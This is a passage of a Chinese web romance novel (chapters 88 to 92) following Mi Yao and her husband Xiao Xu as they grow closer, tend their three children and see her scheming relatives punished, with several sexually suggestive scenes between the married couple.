“虞宓瑶你真狠,我的名声不好,你以为你逃得过,若是你不帮我嫁给岳晋,我看我会如何——”
虞倚晴没说完就被宓瑶掐住了脖颈,有齐娘从旁帮忙,虞倚晴根本逃脱不过宓瑶。
“若是走你还有一条生路,若是不走,岳伯母觉着你配不上她义子,我自会给你配另一个缺媳妇的傻子。”
想到虞家这几人的德性,宓瑶觉着她现在就可以动手准备傻子了。
虞倚晴不会因为她的警告识趣离开,只会想着一定要弄个厉害男人压她一头。
“咳咳咳……虞宓瑶你那么狠,姐夫知晓吗?若是他知道,不可能还那么喜欢你。”
宓瑶松开手,虞倚晴一屁股就坐在了地上,咳的鼻涕眼泪都出来了,还不忘仰头挑衅宓瑶。
“他就喜欢我这般。”
齐娘在旁也肯定道:“就是,夫人怎么样镇使都喜欢,你就别妄加揣测了,你去镇使面前告状,反倒要被镇使一脚踹开。”
宓瑶在虞倚晴面前装,不觉得有什么,但见身边的侍女都因为齐娘的话齐齐点头,就有些不自在。
就像是说大话,旁人不拆穿调侃,反倒觉得她吹的牛不够大,要再往天上吹一吹。
特别是两个时辰后,她返程的路上碰到来接她的萧欻,萧欻一见到她就开口交代路上碰到了虞倚晴。
虞倚晴矫揉造作的告她的状,被他训斥了一顿。
“她一身粪味,说的话也透着恶臭。”
见到宓瑶,萧欻自然地下马进了马车之中,紧紧地贴着宓瑶坐着,眼眸定定地落在她身上,不像是他骂了虞倚晴,像是他被人欺负来找她要安慰。
宓瑶觉得他贴的太紧,往旁边移了移。
而下一刻,他又贴了上来。
宓瑶:……
这段时间他就是这样,睡在一张床上,眼睛都被欲/火烧红了,也不会动手对她做什么,但就会拿烧红的眼睛紧紧盯着她,火炉一样的身体像是涂了浆糊一样黏着她。
他无时无刻都在告诉她,他渴望她,但在没她同意的情况下他能克制住这份渴望。
作为应对她之前说的他的喜爱不用心来说,他现在算是十分用心了。
目光相对,萧欻怕自己克制不住亲上去,主动开口又起了个话题:“季家已经朝顾允潇提出了和离,并且状告了顾允潇和虞佳音,告他们意图谋害原配发妻。”
“这很好。”
“所以你想要什么?你觉得我如何才是喜欢你,你想要的是和离?”
自从宓瑶那日说他的中意是眼馋她的自在,想要她对自己好一样对他好,他就一直在琢磨宓瑶想要什么,如何才能让她感到欢喜。
到如今他才开口问出宓瑶到底想要什么。
随着这个问题问出口,萧欻浑身紧绷,想从宓瑶脸上看出答案,又怕在她脸上看出答案。
第89章 第八十九章【VIP】
男人低沉的嗓音带着克制与不易察觉的细微战栗。
带着几分锋利的问题敲击耳膜,宓瑶眨了眨眼,大概能明白萧欻为什么会问出这个问题。
对上萧欻的凤眸,宓瑶在沉寂中翘起了唇瓣:“萧郎已经对我患得患失到了这个地步了吗?”
软糯娇媚的嗓音带了丝丝的得意,让萧欻紧绷的心口倏然松了下来。
的确是患得患失,这段时间他隐隐感觉靠近了她一些,但偶尔又会觉得离她更远,从揣测她到底想要什么,到她是不是很不想要他。
“你为何会喜欢桓冠斌?”
听到桓冠斌这个名字,宓瑶恍惚了一下才想起这是原身的情郎。
“因为他懦弱愚蠢,比我差了太多,我在他身上能有掌控感,我们之间可以由我来决定谁高谁低,我失去他不会失去什么,他失去我会用一辈子怀念我。”
萧欻一直觉得江南的宓瑶与他见到的宓瑶是两个人,但此刻听她说起桓冠斌,又觉得她们是同一人。
哪个女郎会如她这般霸道。
她这般的话,他以往听见会嗤之以鼻,而如今却控制不住嘴巴:“我时而懦弱愚蠢,我们之间你也能掌控所有。”
大约是不愿自己的姿态太过卑微,萧欻嘴上那么说,脊背挺得笔直,面上一派冷硬,整个人散发着寒气。
不过话都那么说了,再拿出出鞘的煞气也吓不着人。
“所以我觉得郎君极好,我从未生起过与萧郎和离的心思。”
宓瑶说着往萧欻怀里一倒,靠在他滚烫宽广的胸膛里,宓瑶舒适地眯了眯眼。
萧欻问她想要什么,她其实不清楚自己想要什么。
但她知道她不喜欢萧欻一副他什么都给了她,她不对他好就天理难容的模样,他愿意改变,那她连那点不爽也没了。
季婉芸是再不和离就要成为给虞佳音让路的亡妻。
而她好端端的为什么要和离?
世上不会缺萧欻这般为她着迷的男子,但能像是萧欻一样有本事,胸肌弹性,腹肌紧致的男人却不多。
感觉到萧欻手克制的在她腰上滑动,宓瑶转过脸还想再近距离地逗一逗他,可转头就被萧欻噙住了唇。
水润的舌尖透过她微张的唇瓣长驱直入,攻势又快又猛。
杏眸下意识地瞪大,半晌都忘了眨眼。
等到她反应过来,眼眸已经弥漫了热气,而她的姿势也从不舒服的歪着头被萧欻抱起,坐在了他的腿上。
萧欻身上玄色的衣裳散落一半,露出了淡麦色的胸膛,他靠在车厢上,一手压在车壁上□□,另一只手搂着宓瑶的纤细的腰肢。
坐在他身上的宓瑶则是两只手都挽着他的脖颈,随着马车在凹凸不平的路道上行驶,单薄的身体时不时跃动在玄色的布料上起伏。
宓瑶每次从上坐下,萧欻的鼻腔嘴角就会抑制不住的发出闷哼。
如果不是宓瑶能感觉到萧欻每次都在趁机往上顶起,真就要觉得她如同她方才说的一样,是绝对的掌控者,萧欻的一切都在她的掌控之中。
求了一个月的吻终于吻到,萧欻没有得到后的意兴阑珊,每一次的换气都让宓瑶觉得气还没喘顺他就的唇齿就堵了过来。
接连几次,宓瑶觉得自己脑子蒙的厉害,不管不顾地掀开了车帘,把头靠了出去。
贴近的温香软玉倏然抽身离开,萧欻看过去,就见宓瑶云鬓散落,头发风中摇曳,娇媚的绯红一直从领口蔓延到了眼下。
微凉的冷风吹散了男人无孔不入的霸道气味,宓瑶眯着的眼微微睁大,看着漆黑苍穹上一颗接一颗的星辰,终于意识到这里是马车里。
他们这辆车前面坐着马夫,后面还有一辆坐着婢女的马车紧紧跟着。
明确的认识到自己的姿势不对,她想把头收回车内,但萧欻的吻已经追了上来。
上扬的压在窗沿的脑袋让脖颈的皮肉绷得很紧,灼热的吻从凸起的锁骨开始,一寸寸地啃咬皮肉。
脆弱嫩薄的肌肤显露了一条条青色的筋脉,萧欻沿着这些脉络吻到了宓瑶的耳畔,拉开了她捂住嘴的手,吞噬了她要叫出口的吟啼。
虽然觉得压制萧欻压得差不多了,是该好好吃一场,但宓瑶没想到萧欻的大吃一场会那么猛烈。
在他的情绪冲击下,她的脑子不止变得迟缓,好几个瞬间还失了忆,不知道自己在做什么,只能随着萧欻的摆弄舞动。
因为怕被人察觉,她与他在车窗外交换了一个悠长湿润的吻,但之后她不记得她有没有拒绝,也没有印象他们是何时回了车内,车帘又被紧紧拉实。
狭小的车内因为高大的萧欻如何坐立都显得窄小,秋末的天气萧欻身上结了一层薄汗,而这层汗水很快又裹到了宓瑶身上。
两不方便更深入的亲近,所以在控制不住时,萧欻主动放开了宓瑶。
只是这个放开没有片刻,坐在车角跟到了腿上。
快要入城,地面平整了许多,但宓瑶在他腿上颠簸的频率依然高频,宓瑶靠在他肩上,看了眼他不老实的腰,十分担心等会下车他会磨破布料,穿着开裆裤下车。
“我的唇肿了。”
宓瑶靠在,谁知道萧欻偏着头也要吻她。
目光触到他红的不自然的唇瓣,很肯定自己状况一定比他糟糕。
“那不吻唇。”
萧欻倒是好说话,听出宓瑶的抗议,就开始吮吸她的唇周,巴掌。
啪的一声,宓瑶这个打人的都打清醒了,萧欻这个被打的还在手掌乱摸。
“就不能综合一下,前些日子你不会克制的很好,这会就像是野狗发/情了一样。”
宓瑶真是被他吓到了,这段时间他最过激的也只是在屋内的净室发出一些哼哼哈哈的声响,她以为他的控制力在她训练下越来越好了。
谁知道她这边才放开了口风,他就像是撒欢的狗子,亲亲舔舔个没完,搞得她也晕头转向,大脑一片空白。
宓瑶说完就萧欻还是不理她,已经从吮吸她的脖颈,变成舔舐那些泛红的痕迹,宓瑶又给了他胸膛一巴掌。
“我现在给你一刀,你也没有警惕心挡住是不是?”
“嗯……”
萧欻擒住了宓瑶乱动的手,把她压在了车壁上,这回他的吻不是领口往上,而是领口往下。
马车已经入了城,听着车外的喧闹,宓瑶眼眸瞪大,觉着他疯得不轻:“马上要到府邸了?”
“还有一刻钟。”
吻着宓瑶,萧欻回道。
在野外宓瑶控制不住声音,他才一直强忍着,如今有了车外熙攘掩盖,他自然要品尝他渴望的软嫩。
一刻钟后,马车停到二门,宓瑶被萧欻匆匆抱下马车回院,齐娘几人下车只看到两人消失在回廊的背影。
“镇使走得真快,是不是夫人尿急了。”
思雨是顶替诗雅的侍女,年岁不大,见主子急匆匆满*脑子都在想路上应该提醒马夫停车,问夫人要不要小解。
而齐娘耳聪目明,从路上一些不对的动静里猜出了主子们忙着去做什么,看了眼懵懂的思雨:“别想了,回屋睡个好觉,明日不用早起伺候。”
“蕙姐姐,明日夫人要去香雪楼巡查,怎么就不用早起了?”
“信姐姐的没错,姐姐还能骗你个小丫头不成。”
虽然齐娘这般说,思雨还是半信半疑,到第二日起了个早,听说了连镇使都没有如往常早起晨练就放了心。
因为宓瑶与萧欻都不喜欢下人守夜,所以等到清洗的热水不够,萧欻直接抱着她换了战场。
从她的房间到正房,然后又到了书房小歇的榻,宓瑶相信换第一次的时候,是她房里的床榻实在乱的不能睡觉,但等到了换第二个地方,她就确定萧欻单纯是喜欢在夜间抱着在府邸乱窜。
身上裹着柔软的丝绸,前面是灼热的胸膛,身后晚间冰凉的夜风,宓瑶真不知她这段时间是训了萧欻,还是折腾了自己,让一个月的体能运动全都一天受了。
“萧郎,我们可是要过一辈子的,还是缓一缓吧……”
宓瑶分不清自己是晕过去,还是短暂的睡了一觉,看着窗棂外的日光,见他们的战场又移动到了暖房的浴池,宓瑶疲惫地拍了拍萧欻的背肌,“不如让我说些好听的哄哄你。”
萧欻晚上带着宓瑶乱跑,怕她伤风才把她弄到了浴池,想让她泡一泡驱寒,本身就不打算与她再做什么。
但听到她说一辈子,身体又控制不住的激动。
宓瑶说被他带的头脑发胀,脑子像是泡在云雾里,他又好到哪里去,他知晓昨日宓瑶的话只是在她眼中他是她最好的选择。
与中意喜爱他是两回事。
他依然控制不住的失控,因为他知晓她放软的态度代表她打算尝试回应他的情绪,就算不能给他相等的感情,他也不再一头热。
“你要如何哄我?”
环抱着宓瑶,萧欻的语调有几分期待。
宓瑶只是随口一句,没想到萧欻还真的要哄。
眨了眨眼,宓瑶手放在他脸上,敷衍道:“萧郎,你真英俊。”
“相比桓冠斌?”萧欻挑眉。
宓瑶干脆道:“你英俊。”
“唐檀邑?”
“自然还是你更胜一筹。”
以防萧欻再找名字询问,宓瑶直接道:“萧郎,你是这世上最英俊的男人,没人比得过你。”
宓瑶说完便筋疲力尽地靠在池沿上,萧欻靠在她背上闷笑,明明已经心满意足,偏偏还要得寸进尺,含着笑继续问道:“我具体是哪儿英俊?”
宓瑶回头瞪他,还未开骂,萧欻的吻就落在了她的眼皮上:“我倒是晓得,你这双眼最美。”
听到萧欻主动把把柄送到她的手上,宓瑶没有客气的意思:“你这话我不爱听,那我的额头,眉毛,鼻子,嘴唇,甚至是我的脚趾做错了什么,它们怎么就不是最美的了?”
等到萧欻的吻开始移动,她提及的地方都被他吻了一遍后,宓瑶更觉得自己犯了傻,她哪里是逮到了萧欻的把柄,分明是提醒了他什么地方可以亲一亲。
第90章 第九十章【VIP】
幸好萧欻不是春宵苦短日高起,从此君王不早朝的昏君,请的半日假到点就出门当值,也给了宓瑶喘口气的时间。
萧欻一走,宓瑶喝了碗海参粥倒头就睡,等到再醒来时感觉有人来动她嘴巴,以为自己才闭眼萧欻就回来了,吓了一跳,睁开眼就抱着被子往床里缩。
不过睁开眼却没看到萧欻压迫力十足的体格,眼眸往下一撇,看到了三个萝卜头站在床边,萧良拿着瓷碗,萧善拿着汤勺。
宓瑶看着他们回了会神,才打了个哈欠坐起。
“母亲,我们怕药膳凉了。”
萧欻走时让厨房煮了药膳,萧良和萧善没事就去小厨房瞅两眼,眼巴巴地看着药膳从大火变小火,然后被厨子灭了灶火。
弟弟妹妹兴冲冲的踩着板凳盛了药膳要来喂宓瑶,萧翼与他们讲道理,阻止了半晌,但如今的弟弟妹妹根本不听他的。
只说萧欻走时喝了汤药,宓瑶也要趁热喝药,所以端着托盘就乐颠颠的往宓瑶的屋子跑。
“快到了晚膳的时辰,我们想着母亲也已经醒了……”
萧翼还想着解释,萧良和萧善已经踢了鞋子,坐在了床上:“娘亲,啊——”
萧良张开嘴巴,示意宓瑶也把嘴巴张开。
“娘亲我来喂,啊——”
没见宓瑶张嘴,萧善举着勺子,也张开了嘴示意。
宓瑶:……
“睡之前我喝了喝了粥,等会还要吃晚膳,现在你们喂饱了我,等会我就吃不下了。”
宓瑶问了旁边伺候的思雨,晓得现在已经是酉时一刻,也有了起来的意思。
“不嘛,阿爹走的时候都喝药了,娘亲也得多吃好吃的,不然身体会不舒服。”
萧良撅了噘嘴,“我想喂娘亲吃药膳。”
“我也要喂!”
萧善举起胳膊,眼眸闪闪发亮,充分表现了她有多期待。
看着他们两个的样子,宓瑶就知道他们是排演了什么过家家的游戏,而她就是他们游戏里的重要道具。
干脆往床上一躺,让思雨取了帕子围在脸边,弄好一切,宓瑶侧着脸提醒道:“一人只能喂一次。”
见宓瑶同意,萧良萧善乐呵呵地开始配合喂汤。
萧善过了四岁生辰后,身体的长速快了许多,个头赶上了萧良这个哥哥不说,手臂也肉了一圈,拿着汤勺手稳稳的一点都不抖,直直地送到了宓瑶的嘴边。
“娘亲快喝药,等到阿爹回来我一定揍他。”
宓瑶低头嘬完了勺子里的汤汁:“真是好孩子。”
轮到了萧良,他倒是聪明,晓得打不过萧欻:“等善儿L揍爹的时候,我在旁边拉着阿爹不让他跑。”
“好孩子,好孩子。”
陪着两个萝卜演完戏,宓瑶在旁的萧翼:“大郎要玩吗?”
按称呼来说,怎么都不该是她躺着,而是萧翼躺着,听着他们说大郎喝药了。
宓瑶的询问让萧翼脸蛋通红。
见状,宓瑶以为萧翼比两个萝卜头成熟态度,对这样的游戏不屑一顾,下一瞬就见萧翼红着脸拿过了弟弟妹妹手上的碗与勺,颤抖着手喂到了宓瑶唇边。
“母亲好好休息。”
不止是脸红,萧翼害羞地连指头也泛着红色,平日里板着脸装成熟的小脸上有了几分无措和紧张。
宓瑶喝完摸了摸他的头:“好了到你躺下了。”
柔软的手掌拂过额头,听着宓瑶温柔的声音,萧翼懵懂地躺下,等到萧善开始往他嘴里喂汤,他才意识什么是到他躺下。
他会同意萧善和萧良来打扰宓瑶,除了因为拗不过他们,还因为他们一直说宓瑶睡得太久,怕宓瑶身体不舒服他们不晓得。
要看一眼才安心。
他这才跟着他们过来,谁知道竟然躺到了母亲香香软软的床榻上,玩起了孩童才玩的幼稚游戏。
不过有母亲在,游戏也没那么幼稚了。
萧欻一下值就往主院赶,谁知道打开娇妻的房门,娇妻人不见,而是看到了三个小的占了床榻,萧善躺在床上,还在碎碎念抱怨:“床上有爹爹的味道,不香香了。”
“阿爹身上的气味的确……”
萧良说到一半感觉脖颈发凉,回头一看果真看到了萧欻站在门口,他立刻扬唇咧开了一个大大的笑容,“阿爹身上的男子汉气味最好闻了!”
“是汗臭味,可臭可臭了。”
萧善不给面子的拆穿,在萧欻,被他接住后,迅速地爬到了他的怀里,一记。
“爹爹健壮,
而萧良牵住了萧欻的衣摆:“阿爹穿的衣裳好好看,像乌鸦一样,好黑好别致。”
抬头看向萧欻的脸,,好配啊!”
“你对孩子脸黑个什么?”
宓瑶去了内室换衣裳,一出来就听到了萧良说萧欻脸黑。
萧欻转脸看向她:“估计是回来没第一时间瞧见你,情绪带到了脸上。”
听见他在孩子面前也那么没顾忌,想说什么就说什么,宓瑶翻了个白眼,不理他转身出了屋子。
萧欻抱着萧善快步跟上,也不说话,宓瑶被他刻意放缓跟着她的脚步缠着,不耐烦看向他,就见他翘起嘴角,朝她绽放了个肆意鲜活的笑容。
触到他脸上的笑,宓瑶怔了一下。
萧欻比原身大四岁,如今也才一十一,距离书里面他成为嗜血煞神霸主还有十年。
除却性格本身带了些冷漠,大约还因为知道自己年岁轻,哪怕有战功同僚也会小看,萧欻平日里总是眸深如寒潭,唇扬起了要么是皮笑肉不笑的嗤笑,要么就是控制弧度像是冷笑的开颜。
在她眼中他就是个隐忍克制,并且克制到带了点血腥的阴郁的人。
因为这个认知,她很多时候都会忘记他的岁数,理所应当的认为他一个成熟稳重,可以从她的索取中,判断她的一切情绪并且理智取舍的男性。
而现在看着暮色的碎金在他脸上跳跃,他英俊的轮廓多了一股少年感的野性。
她不由开始怀疑他现在这个年纪真的理智吗?
以后他想起他为了一个女人的青睐极尽讨好,不会恼羞成怒撕了她吧。
发现宓瑶看着他看呆,萧欻下意识收敛了笑容,但下一刻他又扬起了唇:“觉着我的笑英俊?”
宓瑶爱夸人,萧善和萧良也随了她这一点,萧欻从他们嘴里听多了外貌的夸奖,渐渐就不觉着直接提及有什么为难。
“嗯。”
宓瑶大方地点了点头,眸光更认真地打量萧欻浸在光中的眉眼。
气氛正好,萧欻喉结滚动,只是他的脖颈还未向前倾斜,怀中的萧善就手指压着嘴角往上挑:“娘亲,那我笑的好不好看?”
“娘亲,我英俊吗?”
萧良紧随其后,“我皮肤白白嫩嫩,脸蛋肉多多的呦!”
萧欻低眸看了眼没怎么长个子的萧良,大约是他的身体感知到了长大就会被揍,所以才生长的那么慢。
用完了晚膳,甄婧看宓瑶一家子那么和乐,无比的想念相公,抱着满满出府去找虞少阳感受家庭的温暖。
走之前甄婧不忘提醒宓瑶,让她多开导萧欻,不行也不要逞强,别一关门就没日没夜,一出门就捏着鼻子喝药,话虽然是那么提醒,但甄婧犹豫再三还是忍不住交代,若是那强身的药好可以把药方给虞少阳。
自个嫂子每次都对房中事如此在意,让宓瑶忍不住去想她哥到底是多软脚虾。
这一想画面就不受控的在脑海浮现,甩了甩头,宓瑶快速的往前走,希望凉风能吹干净她脑子里的那些不干净。
见宓瑶加快了脚步,萧欻挡在了三个跟屁虫的前面:“我与你们娘亲要谈情说爱,你们若是要散步,换一条不会遇到我们的路。”
这话就萧翼听的似懂非懂,但立刻听话地收了步子,立在一旁躬身:“孩儿L这就带着一郎与善儿L告退,不打扰父亲母亲。”
萧善与萧良则是瞪大了眼眸,圆圆的眼珠子盯着萧欻。
“什么是谈情说爱?”
“我也要和娘亲谈情说爱?”
听到萧欻的话,宓瑶恨不得跑起来,不必直面他这只开屏的公孔雀,但听到孩子发问,她停下了步子。
好奇萧欻会如何回答。
“谈情说爱是夫妻间的私事。”
说完,因为晓得这两个跟屁虫的德性,萧欻凤眸半垂,接着开口,“别啰嗦歪缠,你们吃喝都还在靠我,搬个板凳都费劲,等到哪天你们能有本事正经出拳打我,而不是怕我训斥一边打谄媚夸我时,再想抢我夫人。”
萧欻一番话成功让两个肉团子脸上的甜笑消失。
甩掉了跟屁虫,萧欻去找宓瑶的路上摘了朵嫩粉色重瓣芙蓉,寻到她后把花别在了她的发上。
“乍眼看到这花觉着鲜嫩才摘了送你,但花放在你身上,不鲜也不嫩了起来,嫮嫮,你怎么就生的那么美。”
宓瑶坐的这处凉亭,周围种的便是木芙蓉,她停在这里赏花,觉得成片盛放的芙蓉如锦绣堆叠,清艳不可方物,谁知道萧欻上来就来那么一句夸奖。
转头看向萧欻微微扬起的眉梢,她发现哄人这事太容易模仿,只要放下身段,她在萧欻嘴里也能被夸成天仙。
“我既比花还娇艳,你这个登徒子哪来的胆子肖想。”
“旁的登徒子自然不能肖想,幸而我是世上最英俊的男子,才能勉强与你这天仙相配。”
说要谈情说爱,萧欻就没把这话当做借口,明显是废了心思,只是脸皮还没练出来,油滑的话嘴上说着顺畅,耳根却是通红。
宓瑶盯了片刻他在晚霞余晖中通红的耳朵,实在忍不住,垫脚扒着他的肩,在他耳朵尖上咬了一口。
90-100
第91章 第九十一章【VIP】
觉得自个的动作突兀,宓瑶咬完之后就撤身想跑,但她才有动的意思就被萧欻用大手压住了背,强行让她靠在他的怀里。
这个姿势倒也不差,至少不用面对面看着彼此。
只是宓瑶趴在萧欻的胸膛上,感觉他蓬勃有力,跳的让他整个胸腔都在颤动的心脏,在他怀里越待越不自在。
而人一不自在就容易做一些不恰当的事情。
宓瑶张了张嘴:“你可知道我嫂子走时说了什么?”
这个时刻,萧欻不好奇任何人说了什么话,但听到宓瑶撒娇式的发问,他“嗯”了声。
“她让我劝慰你不要逞强,不要关上门勇猛,出了门就马上灌药。”
萧欻开始还没听明白是什么意思,听到宓瑶边说边闷笑,他抓住她的手就往下要去找他的大牛,意识到他握着她的手行走的路径,宓瑶拼命挣扎,手在快摸到前才凶险挣脱。
这次笑的换成了萧欻。
清朗的笑声就像是小孩子恶作剧成功,听着便欠扁。
知道自己的紧张和挣脱都是萧欻调动她情绪的手段,宓瑶抬脚狠狠踩了他一下。
“话又不是我说的,你欺负我做什么?”
“哪儿欺负你了,只是想让你直观的晓得我喝了药该精神的地方还是精神。”
他喝药前唯一的担忧就是用了药之后,他会成为无法人道的内侍,有了姜大夫的再三保证,他才放心服用。
现实证明那药的确没有影响他的能力。
宓瑶不想跟萧欻讨论这个问题,甚至连视线都不想往他腰下扫,怕他觉得她无意的眸光带有邀请的含义。
不过她还是有好奇的地方。
“我只听过女子的避子汤是事后饮用,女子事后喝的道理让人明白,但你事后喝个什么?”
听到甄婧说萧欻一出门就喝汤药,她笑完就疑惑了起来,虽然觉得萧欻没那么傻,会弄错喝药的先后顺序,可谁说得准。
“姜大夫说那药也可当做凉茶来喝,我拿来压火。”
萧欻的面色正经,但宓瑶却从他磁性的声音中听出了一丝炫耀。
实力强到吃了一夜还要靠凉茶来压,不愧是驴物。
见杏眼泛起嫌弃,萧欻向前一扑,又把宓瑶逮回了怀里:“回房?”
扬起头,宓瑶试图从萧欻面上看出勉强,但他脸上只有渴望和兴奋,一丝勉强的味道都没有。
“你到底是哪里来的体力?那事真就那么有意思?”
宓瑶板着脸试图从伦理和养生方面来打击萧欻的积极性,“你没听过万恶淫为首?还有什么一滴精十滴血。”
“有意思,若是你,我愿意为你流干我的每一滴血。”
说着萧欻埋头去咬宓瑶的耳朵,在她耳朵尖上也留下了个齿痕。
宓瑶:……
对于发/情的野狗来说,什么道理都没用。
“原来谈情说爱就是老鹰捉小鸡。”
萧良辛苦爬上假山,正好看到萧欻把宓瑶扑到怀里,还想再看已经被萧翼逮到,半抱把他拉下了假山。
“你怎么什么都敢偷看,还有善儿!”
见萧善想从他身后偷偷往假山上爬,萧翼立马把她夹在了怀里。
“我要上去,大兄抱善善上去嘛!”
偷跑被阻拦,萧善眨巴眼睛,乖巧地看着萧翼。
见妹妹来这招,萧良也抓住了萧翼的衣摆,手指摇动:“兄长让我们上去嘛!”
自从开始张嘴说话后,萧善说话就越来越溜,到现在比起同龄的孩童说话还有条理,让他都快忘了以前她说不出话的模样。
还有弟弟也是,以前是个小受气包,只敢躲在他的身后,现在一张嘴谁都能被他堵得气闷。
至于他,萧翼看了自己越来越有力的手掌,他的改变也不小。
“你们还记得你们小时候吗?”
抵抗不了妹妹弟弟的撒娇,但又不能放任他们打扰爹娘,萧翼只能一手牵着一个,背靠着假山石回忆往昔。
“记得啊,我小时候跟现在一般漂亮。”
萧善歪歪头,奶声奶气地道,她现在除了面对萧欻,时常忘记要装乖,但其他时刻她都十分清楚她很可爱这回事。
头顶盘了两个丸子的白嫩肉脸,除却眼睛大大的,其他都是小小的。
萧翼戳了下妹妹扁平的鼻尖:“嗯,善儿从小就生的好看。”
“哥,你又装大人,咱们现在不就是小时候。”
,萧良坐在萧翼旁边,脑袋往他肩膀上一靠,装模作样地叹了口气,“哥哥别光想以前,显得特别好,我翻过年也得去书院了,到时候我读了书,。”
弃,看着他非要听到结果。
萧良伸手把萧翼的嘴角往上提,让他露出不止露出了牙齿还露出了牙龈,而萧善则是伸出小短手扯萧翼的下眼皮,让他做难看的鬼脸。
“哇,君子端方的大兄流口水了!”
两个人干了坏事就跑,萧翼跟在后面抓人,不必看假山的另一面,他们自个就玩上了抓人游戏。
咯咯咯清亮的笑声在院内回响,虽然声音离的远,宓瑶还是紧绷了身体,不自在地推了推萧欻。
本来宓瑶是打算斥责萧欻的不节制,但说着两人不知道怎么就亲上了,她迷迷糊糊的说了她想赏花,萧欻就把她抱到了花丛中。
清淡的香气不知道是不是因为萧欻太骚,气味浓烈的如同花蕊被齐齐揉碎,透出缠绵的甜香。
“听到那么童真的笑声,你还能立起来?”
花丛中不是杂草就是小虫,萧欻皮糙肉厚,宓瑶可没他那么没顾忌,所以只是萧欻掀了布料,让宓瑶做手工活。
说实话,在姹紫嫣红里看见那么一根枝干真是让人挺倒胃口,所以她尽量把视线落在他的脸上,并且摘了一朵胭脂色的重瓣芙蓉簪在了他的耳后。
萧欻没开口,用行为给了宓瑶答案。
麦色的肌肤浮现醉色的红晕,在由橙转蓝的夜色下,脖颈高高扬起,干涩的薄唇无力地做着吞咽的动作,眼角坠了颗露水。
宓瑶不得不承认,这般赏花比以往任何一次都特别,满足了她的眼欲。
甄婧抱着女儿回到了住着虞家几人的宅院,一到地方,她就觉得自个回来的正是时候。
屋里头的人都在哭,男的女的,大声小声,不晓得的还以为是虞成达死了。
“怎么回事?”
怕女儿跟着一起哭,甄婧先去屋里安置了孩子,交代了奶娘照看,才去找正在看戏的虞少阳,小声问道。
“还能是怎么回事,自然是因为遭了报应。”
虞少阳抱臂斜睨几人,嘴角高高扬起,没有掩饰自己幸灾乐祸的意思。
他先点了虞倚晴:“这个想勾搭有妇之夫,人家不理她,她就去讨好长辈,然后被长辈许配给了傻子。”
虞倚晴的事,甄婧在萧府已经知晓了,但也不妨碍她现在听虞少阳提起依然觉得好笑。
“这个是当人外室,当的不安分,想跟男人合谋弄死原配,如今原配不止要和离还要公道,季家是益州的大族,顾允潇被套了麻袋,她自然也讨不了好。”
虞少阳下巴点了点虞少庆,嫌屋里的哭声变小,点评的声音就变大了起来:“这个也有意思,雇人玩英雄救美那一套,谁知道被人拆穿,雇的人被人家家丁吊起来打了一顿,把他卖了个干净,让他除了挨了一顿打,还绝了在益州攀高枝的可能。”
“就是你,要不就是虞宓瑶,除却你们二人谁会害我!”
作为男丁,虞少庆在虞家得到大量的资源倾斜,他自认自己形貌昳丽,聪慧灵敏,若不是现在时局不好,不宜张扬,他完全能建功立业,不逊萧欻。
他这样的男子自然要叫得出名头的世家贵女才能相配,被迫要来益州这个偏僻地方择妻他已经是委屈,谁知道那些人还敢笑话他,说他貌似女娘,让他滚回江南。
“捉贼捉赃,你说是我和嫮嫮陷害你,你可有证据?”
虞少阳冷眼看向虞少庆:“再说你做龌龊事被抓包,拆穿你的人是替天行道,你倒是有理了!”
“我们的银子是不是你派人抢的!”
虞成达刚到益州有要大干一场,完成家族任务的打算,但见宓瑶和虞少阳都不配合,女婿还一副煞神模样,他念叨了一阵也就把任务抛到了脑后。
他每日逍遥喝酒与美人作乐,自问没碍着谁。
谁知道就在益州城中他就被抢了两次,他新买的美人见他没有银子,趁夜把他剩下的家底打包,留了封她肚里孩子与他无关的书信就跑了。
吃了那么大的亏,他想让虞少阳去捉人,虞少阳推三阻四,他去找萧欻,萧欻也避而不见。
而报官他又丢不起那么个人。
“我是你老子,你怎么能那么害我!”虞成达横眉怒目,面上哪还有松弛的儒雅。
“爹你自己都说了,你是我老子,我怎么可能害你,我是文官又不是武官,家里面有几个奴仆你也看到了,我从哪里能弄出人来给你寻人。”
“你若是有心,怎么可能没办法,还有你妹妹,嫁给了人后连我这个爹也不认了!”
虞少阳的话蒙不住虞成达,反而让他火气更旺,“我看你们兄妹俩就是想合起伙来气死我!”
他眼中这兄妹俩都被鬼上了身,一个个都不复曾经的性子,特别是宓瑶,简直像是变了一个人,对他这个亲爹如此的冷酷绝情。
“爹如此想我也没有办法。”
虞少阳边说,边取下腰间的荷包,双手俸了虞成达,“爹如今手中没有银两,这是我这个月的月俸,往后发下我都拿给爹去开销,至于儿子,也只能暂且吃软饭,靠媳妇的嫁妆度日。”
话说的是一副孝子模样,但虞成达打开锦袋里头就四贯银,价值还比不上这个装它们的这个袋子。
虞成达气的把银袋往地上一砸,拍着胸口半天才喘过来气。
不管虞成达会不会气的断气,虞少阳借口还有公务要处理,牵着甄婧出了堂厅。
“你怎么带着满满回来了,这地方乌烟瘴气,你想听他们的下场,我去萧府就成。”
“回来自是因为想你了。”
甄婧嗔怪地捏了虞少阳的腰间,“嫮嫮与妹夫关系一头热的时候,我在旁边只管看笑话,现在他们你侬我侬,我就觉得我多余了起来,想回来瞧瞧你腰腹练得怎么样。”
“自然是健壮如牛。”
虞少阳乐呵呵地拦着娘子回房,被亲爹歪缠产生的那丝烦闷都被妻子抚平了。
虞佳音害怕事情真闹上官府,追出屋子想让与虞少阳帮忙,正好瞧见虞少阳与甄婧卿卿我我,虞少阳听到动静还恶狠狠地瞪了她一眼,嘴角掀起做了个“滚”的嘴型。
她一迟疑,两人房门紧闭,没了她说话的机会。
第92章 第九十二章【VIP】
“夫人,镇使,琇娘子说有事求见。”
思雨的通报像是及时雨,宓瑶随萧欻胡闹一直闹到了房里,说来算是她倒霉,明明萧欻裸露的肌肤更多,但她的手却被叮咬了几个红包。
萧欻说回房给她抹药,抹着就开始摸了起来。
为了让萧欻降火,她开始跟他聊剑南的局势,她说正经话,萧欻看着也正经了几分,把她抱到了紫檀木书桌上,但片刻她就发现他的正经是装的,扶着桌沿踩上地毯,宓瑶双脚打颤,要不是萧欻扶着,差点腿软摔到了地上。
“我要瞧你愧疚的神情。”
宓瑶下达指令,萧欻脸上的餍足收敛了几分,眉头微蹙,做出几分忧心的神情看她。
现实证明萧欻发展不了演戏这个副业,他忧心的表情不像是愧疚,而是她犯了羊癫疯,他怜惜心疼她。
“算了,你还是嬉皮笑脸吧。”
话落音,萧欻眉心的褶皱霎时平展,头往宓瑶脖颈一埋,重重吸了一口她的气味:“让侍女回了你妹妹我们已经休歇,别去了。”
